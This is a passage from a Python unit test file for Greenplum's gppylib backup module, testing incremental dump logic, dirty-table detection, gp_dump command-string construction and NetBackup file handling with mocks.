mock3, mock4, mock5): master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' netbackup_service_host = "mdw" netbackup_block_size = "1024" expected = '20120930093000' result = get_last_dump_timestamp(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_block_size) self.assertEqual(result, expected) @patch('gppylib.operations.dump.generate_increments_filename') @patch('gppylib.operations.dump.check_file_dumped_with_nbu', return_value=False) def test_get_last_dump_timestamp_05(self, mock1, mock2): master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' netbackup_service_host = "mdw" netbackup_block_size = "1024" expected = '20121212010101' result = get_last_dump_timestamp(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_block_size) self.assertEqual(result, expected) def test_get_pgstatlastoperations_dict_00(self): last_operations = ['public,t1,1234,ALTER,,201212121212:101010'] last_operations_dict = get_pgstatlastoperations_dict(last_operations) expected_output = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010'} self.assertEqual(last_operations_dict, expected_output) def test_get_pgstatlastoperations_dict_01(self): last_operations = ['public,t1,1234,ALTER,,201212121212:101010', 'public,t2,1234,VACCUM,TRUNCATE,201212121212:101015'] last_operations_dict = get_pgstatlastoperations_dict(last_operations) expected_output = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010', ('1234', 'VACCUM'): 'public,t2,1234,VACCUM,TRUNCATE,201212121212:101015'} self.assertEqual(last_operations_dict, expected_output) def test_get_pgstatlastoperations_dict_02(self): last_operations = [] last_operations_dict = get_pgstatlastoperations_dict(last_operations) expected_output = {} self.assertEqual(last_operations_dict, expected_output) def test_get_pgstatlastoperations_dict_03(self): last_operations = ['public,t1,1234,ALTER,,201212121212:101010', '2345,VACCUM,TRUNCATE,201212121212:101015'] with self.assertRaisesRegexp(Exception, 'Wrong number of tokens in last_operation data for last backup'): get_pgstatlastoperations_dict(last_operations) def test_compare_metadata_00(self): old_metadata = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010'} cur_metadata = ['public,t1,1234,ALTER,,201212121212:101010'] dirty_tables = compare_metadata(old_metadata, cur_metadata) self.assertEquals(dirty_tables, set()) def test_compare_metadata_01(self): old_metadata = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010'} cur_metadata = ['public,t1,1234,TRUNCATE,,201212121212:101010'] dirty_tables = compare_metadata(old_metadata, cur_metadata) self.assertEquals(dirty_tables, set(['public.t1'])) def test_compare_metadata_02(self): old_metadata = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010'} cur_metadata = ['public,t1,1234,ALTER,,201212121212:102510'] dirty_tables = compare_metadata(old_metadata, cur_metadata) self.assertEquals(dirty_tables, set(['public.t1'])) def test_compare_metadata_03(self): old_metadata = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010'} cur_metadata = ['public,t1,1234,ALTER,,201212121212:101010','public,t1,1234,TRUNCATE,,201212121212:101010'] dirty_tables = compare_metadata(old_metadata, cur_metadata) self.assertEquals(dirty_tables, set(['public.t1'])) def test_compare_metadata_04(self): old_metadata = {('1234', 'ALTER'): 'public,t1,1234,ALTER,,201212121212:101010'} cur_metadata = ['public,t1,1234,ALTER,,201212121212:101010,'] with self.assertRaisesRegexp(Exception, 'Wrong number of tokens in last_operation data for current backup'): compare_metadata(old_metadata, cur_metadata) @patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100') @patch('gppylib.operations.dump.get_lines_from_file', return_value=[]) def test_get_tables_with_dirty_metadata_00(self, mock1, mock2): expected_output = set() master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' cur_pgstatoperations = [] dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations) self.assertEqual(dirty_tables, expected_output) @patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100') @patch('gppylib.operations.dump.get_lines_from_file', return_value=['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510']) def test_get_tables_with_dirty_metadata_01(self, mock1, mock2): expected_output = set() master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' cur_pgstatoperations = ['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510'] dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations) self.assertEqual(dirty_tables, expected_output) @patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100') @patch('gppylib.operations.dump.get_lines_from_file', return_value=['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102511']) def test_get_tables_with_dirty_metadata_02(self, mock1, mock2): expected_output = set(['pepper.t2']) master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' cur_pgstatoperations = ['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510'] dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations) self.assertEqual(dirty_tables, expected_output) @patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100') @patch('gppylib.operations.dump.get_lines_from_file', return_value=['pepper,t2,2234,TRUNCATE,,201212121213:102510']) def test_get_tables_with_dirty_metadata_03(self, mock1, mock2): expected_output = set(['public.t1']) master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' cur_pgstatoperations = ['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510'] dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations) self.assertEqual(dirty_tables, expected_output) @patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100') @patch('gppylib.operations.dump.get_lines_from_file', return_value=['pepper,t1,2234,TRUNCATE,,201212121213:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510']) def test_get_tables_with_dirty_metadata_04(self, mock1, mock2): expected_output = set(['pepper.t2', 'public.t3']) master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' cur_pgstatoperations = ['pepper,t2,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510', 'public,t3,2234,TRUNCATE,,201212121213:102510'] dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations) self.assertEqual(dirty_tables, expected_output) @patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100') @patch('gppylib.operations.dump.get_lines_from_file', return_value=['pepper,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510']) def test_get_tables_with_dirty_metadata_05(self, mock1, mock2): expected_output = set(['public.t1']) master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' cur_pgstatoperations = ['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510'] dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations) self.assertEqual(dirty_tables, expected_output) @patch('gppylib.operations.dump.get_last_dump_timestamp', return_value='20121212010100') @patch('gppylib.operations.dump.get_lines_from_file', return_value=['pepper,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510']) @patch('gppylib.operations.dump.restore_file_with_nbu') def test_get_tables_with_dirty_metadata_06(self, mock1, mock2, mock3): expected_output = set(['public.t1']) master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' cur_pgstatoperations = ['public,t1,1234,ALTER,CHANGE COLUMN,201212121212:102510', 'pepper,t2,2234,TRUNCATE,,201212121213:102510'] netbackup_service_host = "mdw" netbackup_block_size = "1024" dirty_tables = get_tables_with_dirty_metadata(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, cur_pgstatoperations, netbackup_service_host, netbackup_block_size) self.assertEqual(dirty_tables, expected_output) @patch('gppylib.operations.dump.get_last_state', return_value=['pepper, t1, 100', 'pepper, t2, 200']) def test_get_dirty_partition_tables_00(self, mock1): master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' table_type = 'ao' curr_state_partition_list = ['pepper, t3, 300', 'pepper, t1, 200'] expected_output = set(['pepper.t3', 'pepper.t1']) result = get_dirty_partition_tables(table_type, curr_state_partition_list, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp) self.assertEqual(result, expected_output) @patch('gppylib.operations.dump.get_last_state', return_value=['pepper, t1, 100', 'pepper, t2, 200']) def test_get_dirty_partition_tables_01(self, mock1): master_datadir = 'foo' backup_dir = None full_timestamp = '20121212010101' table_type = 'ao' curr_state_partition_list = ['pepper, t3, 300', 'pepper, t1, 200'] netbackup_service_host = "mdw" netbackup_block_size = "1024" expected_output = set(['pepper.t3', 'pepper.t1']) result = get_dirty_partition_tables(table_type, curr_state_partition_list, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_block_size) self.assertEqual(result, expected_output) @patch('gppylib.operations.dump.get_dirty_heap_tables', return_value=set(['public.heap_table1'])) @patch('gppylib.operations.dump.get_dirty_partition_tables', side_effect=[set(['public,ao_t1,100', 'public,ao_t2,100']), set(['public,co_t1,100', 'public,co_t2,100'])]) @patch('gppylib.operations.dump.get_tables_with_dirty_metadata', return_value=set(['public,ao_t3,1234,CREATE,,20121212101010', 'public,co_t3,2345,VACCUM,,20121212101010', 'public,ao_t1,1234,CREATE,,20121212101010'])) def test_get_dirty_tables_00(self, mock1, mock2, mock3): master_port = '5432' dbname = 'foo' master_datadir = '/foo' backup_dir = None fulldump_ts = '20121212101010' ao_partition_list = [] co_partition_list = [] last_operation_data = [] netbackup_service_host = None netbackup_block_size = None dirty_tables = get_dirty_tables(master_port, dbname, master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, fulldump_ts, ao_partition_list, co_partition_list, last_operation_data, netbackup_service_host, netbackup_block_size) expected_output = ['public.heap_table1', 'public.ao_t1', 'public.ao_t2', 'public.co_t1', 'public.co_t2', 'public.ao_t3', 'public.co_t3'] self.assertEqual(dirty_tables.sort(), expected_output.sort()) @patch('gppylib.operations.dump.get_latest_report_timestamp', return_value = '20130127150999') def test_validate_current_timestamp_00(self, mock): directory = '/foo' #no exception validate_current_timestamp(directory, self.dumper.dump_dir, self.dumper.dump_prefix, current='20130127151000') @patch('gppylib.operations.dump.get_latest_report_timestamp', return_value = '20130127151000') def test_validate_current_timestamp_01(self, mock): directory = '/foo' with self.assertRaisesRegexp(Exception, 'There is a future dated backup on the system preventing new backups'): validate_current_timestamp(directory, self.dumper.dump_dir, self.dumper.dump_prefix, current='20130127151000') @patch('gppylib.operations.dump.get_latest_report_timestamp', return_value = '20130127151001') def test_validate_current_timestamp_02(self, mock): directory = '/foo' with self.assertRaisesRegexp(Exception, 'There is a future dated backup on the system preventing new backups'): validate_current_timestamp(directory, self.dumper.dump_dir, self.dumper.dump_prefix, current='20130127151000') @patch('gppylib.operations.dump.get_latest_report_timestamp', return_value = '20140127151001') def test_validate_current_timestamp_03(self, mock): directory = '/foo' with self.assertRaisesRegexp(Exception, 'There is a future dated backup on the system preventing new backups'): validate_current_timestamp(directory, self.dumper.dump_dir, self.dumper.dump_prefix, current='20130127151000') @patch('gppylib.operations.dump.get_latest_report_timestamp', return_value = '20120127150999') def test_validate_current_timestamp_04(self, mock): directory = '/foo' #no exception validate_current_timestamp(directory, self.dumper.dump_dir, self.dumper.dump_prefix, current='20130127151000') def test_validate_modcount_00(self): schemaname = 'public' partitionname = 't1' tuple_count = '999999999999999' validate_modcount(schemaname, partitionname, tuple_count) def test_validate_modcount_01(self): schemaname = 'public' partitionname = 't1' tuple_count = '#########' with self.assertRaisesRegexp(Exception, 'Can not convert modification count for table.'): validate_modcount(schemaname, partitionname, tuple_count) def test_validate_modcount_02(self): schemaname = 'public' partitionname = 't1' tuple_count = '1+e15' with self.assertRaisesRegexp(Exception, 'Can not convert modification count for table.'): validate_modcount(schemaname, partitionname, tuple_count) def test_validate_modcount_03(self): schemaname = 'public' partitionname = 't1' tuple_count = '1000000000000000' with self.assertRaisesRegexp(Exception, 'Exceeded backup max tuple count of 1 quadrillion rows per table for:'): validate_modcount(schemaname, partitionname, tuple_count) def test_generate_dump_timestamp_00(self): timestamp = datetime(2013, 02, 04, 10, 10, 10, 10000) generate_dump_timestamp(timestamp) from gppylib.operations.dump import DUMP_DATE, TIMESTAMP_KEY, TIMESTAMP ts_key = timestamp.strftime("%Y%m%d%H%M%S") self.assertEqual(timestamp, TIMESTAMP) self.assertEqual(ts_key, TIMESTAMP_KEY) self.assertEqual(ts_key[0:8], DUMP_DATE) def test_generate_dump_timestamp_01(self): timestamp = None generate_dump_timestamp(timestamp) from gppylib.operations.dump import DUMP_DATE, TIMESTAMP_KEY, TIMESTAMP self.assertNotEqual(None, TIMESTAMP) self.assertNotEqual(None, TIMESTAMP_KEY) self.assertNotEqual(None, DUMP_DATE) def test_generate_dump_timestamp_02(self): timestamp1 = datetime(2013, 02, 04, 10, 10, 10, 10000) generate_dump_timestamp(timestamp1) timestamp2 = datetime(2013, 03, 04, 10, 10, 10, 10000) generate_dump_timestamp(timestamp2) from gppylib.operations.dump import DUMP_DATE, TIMESTAMP_KEY, TIMESTAMP ts_key = timestamp2.strftime("%Y%m%d%H%M%S") self.assertEqual(timestamp2, TIMESTAMP) self.assertEqual(ts_key, TIMESTAMP_KEY) self.assertEqual(ts_key[0:8], DUMP_DATE) def test_generate_dump_timestamp_03(self): timestamp1 = datetime(2013, 02, 04, 10, 10, 10, 10000) generate_dump_timestamp(timestamp1) timestamp2 = datetime(2012, 03, 04, 10, 10, 10, 10000) generate_dump_timestamp(timestamp2) from gppylib.operations.dump import DUMP_DATE, TIMESTAMP_KEY, TIMESTAMP ts_key = timestamp2.strftime("%Y%m%d%H%M%S") self.assertEqual(timestamp2, TIMESTAMP) self.assertEqual(ts_key, TIMESTAMP_KEY) self.assertEqual(ts_key[0:8], DUMP_DATE) def test_create_dump_line_00(self): self.dumper.include_schema_file = '/tmp/foo' output = self.dumper.create_dump_string('dcddev', '20121212', '01234567891234') expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --no-expand-children -n "\\"testschema\\"" testdb --table-file=/tmp/table_list.txt --schema-file=/tmp/foo""" self.assertEquals(output, expected_output) def test00_create_dump_line_with_prefix(self): self.dumper.dump_prefix = 'foo_' output = self.dumper.create_dump_string('dcddev', '20121212', '01234567891234') expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --prefix=foo_ --no-expand-children -n "\\"testschema\\"" testdb --table-file=/tmp/table_list.txt""" self.assertEquals(output, expected_output) def test_create_dump_line_with_include_file(self): self.dumper.dump_prefix = 'metro_' self.dumper.include_dump_tables_file = ('bar') output = self.dumper.create_dump_string('dcddev', '20121212', '01234567891234') expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --prefix=metro_ --no-expand-children -n "\\"testschema\\"" testdb --table-file=%s""" % self.dumper.include_dump_tables_file self.assertEquals(output, expected_output) def test_create_dump_line_with_no_file_args(self): self.dumper.dump_prefix = 'metro_' self.dumper.include_dump_tables_file = (None,) output = self.dumper.create_dump_string('dcddev', '20121212', '01234567891234') expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --prefix=metro_ --no-expand-children -n "\\"testschema\\"" testdb""" self.assertEquals(output, expected_output) def test_create_dump_line_with_netbackup_params(self): self.dumper.include_dump_tables_file = (None,) self.dumper.netbackup_service_host = "mdw" self.dumper.netbackup_policy = "test_policy" self.dumper.netbackup_schedule = "test_schedule" output = self.dumper.create_dump_string('dcddev', '20121212', '01234567891234') expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --no-expand-children -n "\\"testschema\\"" testdb --netbackup-service-host=mdw --netbackup-policy=test_policy --netbackup-schedule=test_schedule""" self.assertEquals(output, expected_output) def test_get_backup_dir_with_master_data_dir(self): master_datadir = '/foo' backup_dir = None self.assertEquals('/foo', get_backup_dir(master_datadir, backup_dir)) def test_get_backup_dir_with_backup_dir(self): master_datadir = 'foo' backup_dir = '/bkup' self.assertEquals('/bkup', get_backup_dir(master_datadir, backup_dir)) @patch('gppylib.operations.dump.get_latest_full_dump_timestamp', return_value='20130101010101') @patch('os.path.isfile', return_value=True) def test_get_filter_file_file_exists(self, mock1, mock2): dump_prefix = 'metro_' master_datadir = '/foo' backup_dir = None dump_database = 'testdb' expected_output = '/foo/db_dumps/20130101/metro_gp_dump_20130101010101_filter' self.assertEquals(expected_output, get_filter_file(dump_database, master_datadir, backup_dir, self.dumper.dump_dir, dump_prefix)) @patch('os.path.isfile', return_value=False) @patch('gppylib.operations.dump.get_latest_full_ts_with_nbu', return_value='20130101010101') @patch('gppylib.operations.dump.check_file_dumped_with_nbu', return_value=True) @patch('gppylib.operations.dump.restore_file_with_nbu') def test_get_filter_file_file_exists_on_nbu(self, mock1, mock2, mock3, mock4): dump_prefix = 'metro_' master_datadir = '/foo' backup_dir = None dump_database = 'testdb' netbackup_service_host = "mdw" netbackup_block_size = "1024" expected_output = '/foo/db_dumps/20130101/metro_gp_dump_20130101010101_filter' self.assertEquals(expected_output, get_filter_file(dump_database, master_datadir, backup_dir, self.dumper.dump_dir, dump_prefix, netbackup_service_host, netbackup_block_size)) @patch('gppylib.operations.dump.get_latest_full_dump_timestamp', return_value='20130101010101') @patch('os.path.isfile', return_value=False) def test_get_filter_file_file_does_not_exists(self, mock1, mock2): dump_prefix = 'metro_' master_datadir = '/foo' backup_dir = None dump_database = 'testdb' self.assertEquals(None, get_filter_file(dump_database, master_datadir, backup_dir, self.dumper.dump_dir, dump_prefix)) def test_update_filter_file_with_dirty_list_00(self): filter_file = '/tmp/foo' write_lines_to_file(filter_file, ['public.t1']) dirty_tables = ['public.t1', 'public.t2'] expected_output = ['public.t1', 'public.t2'] update_filter_file_with_dirty_list(filter_file, dirty_tables) output = get_lines_from_file(filter_file) try: self.assertEquals(expected_output, output) finally: if os.path.exists(filter_file): os.remove(filter_file) def test_update_filter_file_with_dirty_list_01(self): filter_file = '/tmp/foo' write_lines_to_file(filter_file, ['public.t1']) dirty_tables = ['public.t1'] expected_output = ['public.t1'] update_filter_file_with_dirty_list(filter_file, dirty_tables) output = get_lines_from_file(filter_file) try: self.assertEquals(expected_output, output) finally: if os.path.exists(filter_file): os.remove(filter_file) def test_update_filter_file_with_dirty_list_02(self): filter_file = '/tmp/foo' write_lines_to_file(filter_file, ['public.t1', 'public.t2']) dirty_tables = ['public.t2'] expected_output = ['public.t1', 'public.t2'] update_filter_file_with_dirty_list(filter_file, dirty_tables) output = get_lines_from_file(filter_file) try: self.assertEquals(expected_output, output) finally: if os.path.exists(filter_file): os.remove(filter_file) def test_update_filter_file_with_dirty_list_03(self): filter_file = '/tmp/foo' write_lines_to_file(filter_file, []) dirty_tables = ['public.t1', 'public.t2'] expected_output = ['public.t1', 'public.t2'] update_filter_file_with_dirty_list(filter_file, dirty_tables) output = get_lines_from_file(filter_file) try: self.assertEquals(expected_output, output) finally: if os.path.exists(filter_file): os.remove(filter_file) @patch('gppylib.operations.dump.get_lines_from_file', return_value=['public.t1', 'pepper.t2']) @patch('gppylib.operations.dump.get_latest_full_dump_timestamp', return_value='20130101010101') @patch('gppylib.operations.dump.get_filter_file', return_value='/foo/metro_gp_dump_20130101010101_filter') def test_filter_dirty_tables_with_filter(self, mock1, mock2, mock3): dump_prefix = 'metro_' master_datadir = '/foo' backup_dir = None dump_database = 'testdb' dirty_tables = ['public.t1', 'public.t2', 'pepper.t1', 'pepper.t2'] expected_output = ['public.t1', 'pepper.t2'] self.assertEquals(sorted(expected_output), sorted(filter_dirty_tables(dirty_tables, dump_database, master_datadir, backup_dir, self.dumper.dump_dir, dump_prefix))) @patch('gppylib.operations.dump.get_lines_from_file', return_value=['public.t1', 'pepper.t2']) @patch('gppylib.operations.dump.get_filter_file', return_value='/foo/metro_gp_dump_20130101010101_filter') @patch('gppylib.operations.dump.get_latest_full_ts_with_nbu', return_value='20130101010101') def test_filter_dirty_tables_with_filter_with_nbu(self, mock1, mock2, mock3): dump_prefix = 'metro_' master_datadir = '/foo' backup_dir = None dump_database = 'testdb' netbackup_service_host = "mdw" netbackup_block_size = "1024" dirty_tables = ['public.t1', 'public.t2', 'pepper.t1', 'pepper.t2'] expected_output = ['public.t1', 'pepper.t2'] self.assertEquals(sorted(expected_output), sorted(filter_dirty_tables(dirty_tables, dump_database, master_datadir, backup_dir, self.dumper.dump_dir, dump_prefix, netbackup_service_host, netbackup_block_size))) @patch('gppylib.operations.dump.get_lines_from_file', return_value=['public.t1', 'pepper.t2']) @patch('gppylib.operations.dump.get_latest_full_dump_timestamp', return_value='20130101010101') @patch('gppylib.operations.dump.get_filter_file', return_value=None) def test_filter_dirty_tables_without_filter(self, mock1, mock2, mock3): dump_prefix = 'metro_' master_datadir = '/foo' backup_dir = None dump_database = 'testdb' dirty_tables = ['public.t1', 'public.t2', 'pepper.t1', 'pepper.t2'] self.assertEquals(sorted(dirty_tables), sorted(filter_dirty_tables(dirty_tables, dump_database, master_datadir, backup_dir, self.dumper.dump_dir, dump_prefix))) @patch('gppylib.operations.dump.get_filter_file', return_value='/tmp/db_dumps/20121212/foo_gp_dump_01234567891234_filter') def test_create_filtered_dump_string(self, mock1): self.dumper.dump_prefix = 'foo_' output = self.dumper.create_filtered_dump_string('dcddev', '20121212', '01234567891234') expected_output = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --prefix=foo_ --no-expand-children -n "\\"testschema\\"" testdb --table-file=/tmp/table_list.txt --incremental-filter=/tmp/db_dumps/20121212/foo_gp_dump_01234567891234_filter""" self.assertEquals(output, expected_output) @patch('gppylib.operations.dump.Command.get_results', return_value=CommandResult(0, "", "", True, False)) @patch('gppylib.operations.dump.Command.run') def test_perform_dump_normal(self, mock1, mock2): self.dumper.dump_prefix = 'foo_' title = 'Dump process' dump_line = """gp_dump -p 0 -U dcddev --gp-d=/data/master/p1/db_dumps/20121212 --gp-r=/data/master/p1/db_dumps/20121212 --gp-s=p --gp-k=01234567891234 --no-lock --gp-c --prefix=foo_ --no-expand-children -n "\\"testschema\\"" testdb --table-file=/tmp/table_list.txt""" (start, end, rc) = self.dumper.perform_dump(title, dump_line) self.assertNotEqual(start, None) self.assertNotEqual(end, None) self.assertEquals(rc, 0) class DumpGlobalTestCase(unittest.TestCase): def setUp(self): self.dumper = DumpGlobal(timestamp=None, master_datadir='/foo', master_port=0, backup_dir='/foo', dump_dir='db_dumps', dump_prefix='', ddboost=False) def test_create_pgdump_command_line(self): self.dumper = DumpGlobal(timestamp=TIMESTAMP_KEY, master_datadir='/foo', master_port=9000, backup_dir='/foo', dump_dir='db_dumps', dump_prefix='', ddboost=False) global_file_name = '/foo/db_dumps/%s/gp_global_1_1_%s' % (DUMP_DATE, TIMESTAMP_KEY) expected_output = "pg_dumpall -p 9000 -g --gp-syntax > %s" % global_file_name output = self.dumper.create_pgdump_command_line() self.assertEquals(output, expected_output) @patch('gppylib.operations.dump.get_filter_file', return_value = '/tmp/update_test') @patch('gppylib.operations.dump.get_lines_from_file', return_value = ['public.heap_table1','public.ao_part_table','public.ao_part_table_1_prt_p1']) @patch('gppylib.operations.dump.execute_sql', return_value = [('public','ao_part_table','ao_part_table_1_prt_p1'), ('public','ao_part_table','ao_part_table_1_prt_p2')]) def test_update_filter_file_00(self, mock1, mock2, mock3): master_datadir = '/tmp' backup_dir = None dump_database = 'testdb' master_port = 5432 filter_filename = '/tmp/update_test' update_filter_file(dump_database, master_datadir, backup_dir, master_port, self.dumper.dump_dir, self.dumper.dump_prefix) contents = get_lines_from_file(filter_filename) expected_result = ['public.heap_table1','public.ao_part_table','public.ao_part_table_1_prt_p1', 'public.ao_part_table_1_prt_p2'] self.assertEqual(expected_result.sort(), contents.sort()) os.remove(filter_filename) @patch('gppylib.operations.dump.get_filter_file', return_value = '/tmp/update_test') @patch('gppylib.operations.dump.get_lines_from_file', return_value = ['public.heap_table1','public.ao_part_table','public.ao_part_table_1_prt_p1', 'public.ao_part_table_1_prt_p2']) @patch('gppylib.operations.dump.execute_sql', return_value = [('public','ao_part_table','ao_part_table_1_prt_p1')]) def test_update_filter_file_01(self, mock1, mock2, mock3): master_datadir = '/tmp' backup_dir = None dump_database = 'testdb' master_port = 5432 filter_filename = '/tmp/update_test' update_filter_file(dump_database, master_datadir, backup_dir, master_port, self.dumper.dump_dir, self.dumper.dump_prefix) contents = get_lines_from_file(filter_filename) expected_result = ['public.heap_table1','public.ao_part_table','public.ao_part_table_1_prt_p1', 'public.ao_part_table_1_prt_p2'] self.assertEqual(expected_result.sort(), contents.sort()) os.remove(filter_filename) @patch('gppylib.operations.dump.get_filter_file', return_value='/tmp/update_test') @patch('gppylib.operations.dump.get_lines_from_file', return_value=['public.heap_table1', 'public.ao_part_table', 'public.ao_part_table_1_prt_p1', 'public.ao_part_table_1_prt_p2']) @patch('gppylib.operations.dump.execute_sql', return_value=[('public', 'ao_part_table', 'ao_part_table_1_prt_p1')]) @patch('gppylib.operations.dump.restore_file_with_nbu') @patch('gppylib.operations.dump.backup_file_with_nbu') def test_update_filter_file_02(self, mock1, mock2, mock3, mock4, mock5): master_datadir = '/tmp' backup_dir = None dump_database = 'testdb' master_port = 5432 filter_filename = '/tmp/update_test' netbackup_service_host = "mdw" netbackup_policy = "nbu_policy" netbackup_schedule = "nbu_schedule" netbackup_block_size = "1024" update_filter_file(dump_database, master_datadir, backup_dir, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size) contents = get_lines_from_file(filter_filename) expected_result = ['public.heap_table1', 'public.ao_part_table', 'public.ao_part_table_1_prt_p1', 'public.ao_part_table_1_prt_p2'] self.assertEqual(expected_result.sort(), contents.sort()) os.remove(filter_filename) @patch('gppylib.operations.dump.backup_file_with_nbu') def test_backup_state_files_with_nbu_00(self, mock1): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') def test_backup_state_files_with_nbu_01(self, mock1): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') def test_backup_state_files_with_nbu_02(self, mock1): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') def test_backup_state_files_with_nbu_03(self, mock1): master_datadir = None backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'): backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') def test_backup_state_files_with_nbu_04(self, mock1): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) 